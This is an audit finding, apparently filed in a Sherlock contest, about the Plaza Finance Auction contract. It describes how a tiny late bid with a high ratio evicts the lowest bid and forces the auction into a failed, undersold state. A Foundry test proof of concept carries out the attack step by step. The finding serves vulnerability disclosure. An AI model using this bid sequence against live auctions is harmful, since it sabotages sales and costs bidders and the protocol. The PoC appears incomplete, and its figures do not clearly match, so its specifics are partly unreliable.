Skip to content

Latest commit

 

History

History
65 lines (46 loc) · 2.49 KB

File metadata and controls

65 lines (46 loc) · 2.49 KB

Narrow Macaroon Goblin

High

Attacker can make auction failure by bidding just before auction end.

Summary

Just before the auction ends, if the bidCount equals maxBids and the currentCouponAmount matches the totalBuyCouponAmount, the attacker places a small bid with a higher ratio than the lowest bid. In this scenario, the lowest bid is removed, causing the currentCouponAmount to fall below the totalBuyCouponAmount. As a result, the auction transitions to the State.FAILED_UNDERSOLD state.

Root Cause

https://github.com/sherlock-audit/2024-12-plaza-finance-0xlu7/blob/227f7e7dbd2435cfa1ac940341453c728e323b03/plaza-evm/src/Auction.sol#L157 Before the auction ends, if the new bid's ratio is bigger than lowest, the lowest is removed. https://github.com/sherlock-audit/2024-12-plaza-finance-0xlu7/blob/227f7e7dbd2435cfa1ac940341453c728e323b03/plaza-evm/src/Auction.sol#L340 In this case, the amount of the new bid is less than the lowest bid, causing the currentCouponAmount to become less than the totalBuyCouponAmount.

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

Just before the auction ends, if the bidCount equals maxBids and the currentCouponAmount matches the totalBuyCouponAmount, the attacker places a small bid with a higher ratio than the lowest bid. In this scenario, the lowest bid is removed, causing the currentCouponAmount to fall below the totalBuyCouponAmount. As a result, the auction transitions to the State.FAILED_UNDERSOLD state.

Impact

The auction fails.

PoC

function testAttackScenario() public {
//maxBids  is 2.
//totalBuyCouponAmount is 5000.
    vm.startPrank(alice1); // first
    usdc.mint(alice1, 3000 ether);
    usdc.approve(address(auction), 3000 ether);
    auction.bid(100 ether, 2000 ether); // Legitimate bid
    vm.stopPrank();
    vm.startPrank(alice2); // second
    usdc.mint(alice2, 2000 ether);
    usdc.approve(address(auction), 2000 ether);
    auction.bid(150 ether, 2000 ether); 
    vm.stopPrank();
    vm.warp(block.timestamp + 12 days - 1 hours); //just before ends
    vm.startPrank(attacker); // attacker
    usdc.mint(attacker, 30 ether);
    usdc.approve(address(auction), 30 ether);
    auction.bid(1 ether ,30 ether);
    vm.stopPrank();
    vm.warp(block.timestamp + 1 days); // auction ends
    vm.prank(pool); 
    auction.endAuction();
    assertEq(uint256(auction.state()), uint256(Auction.State.FAILED_UNDERSOLD));

Mitigation

There has to be a validation based on time.